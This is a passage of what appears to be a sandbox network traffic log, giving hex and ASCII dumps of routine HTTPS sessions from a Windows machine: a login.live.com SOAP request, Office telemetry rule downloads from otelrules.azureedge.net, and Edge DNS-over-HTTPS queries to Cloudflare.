2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49798	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 20:05:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 20:05:44 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 20:04:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: def9847c-d711-4a32-baa7-4183e494c041 PPServer: PPV: 30 H: BL02EPF0001D7B7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:05:43 GMT Connection: close Content-Length: 1276
2024-11-20 20:05:44 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200544Z-1777c6cb754lvj6mhC1TEBke940000000a0000000001008s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:44 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200544Z-r1d97b99577n4dznhC1TEBc1qw000000099000000000mm9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200544Z-1777c6cb754lv4cqhC1TEB13us00000009xg00000001082t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200544Z-1777c6cb754g9zd5hC1TEBfvpw0000000a4g00000000q822 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200544Z-r1d97b99577ckpmjhC1TEBrzs000000009c000000000azan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49821	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 20:05:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e7a3c610f43-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2a 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom*A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49822	172.64.41.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 20:05:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 20:05:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 20:05:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5b0e7a89877ca5-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 20:05:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:46 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: c366b67a-401e-0083-1804-3b075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200546Z-r1d97b995774n5h6hC1TEBvf8400000009c0000000004g2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200546Z-185f5d8b95c5lcmhhC1NYCsnsw0000000ang00000001bz5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200546Z-r1d97b995774n5h6hC1TEBvf84000000099000000000fatf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R 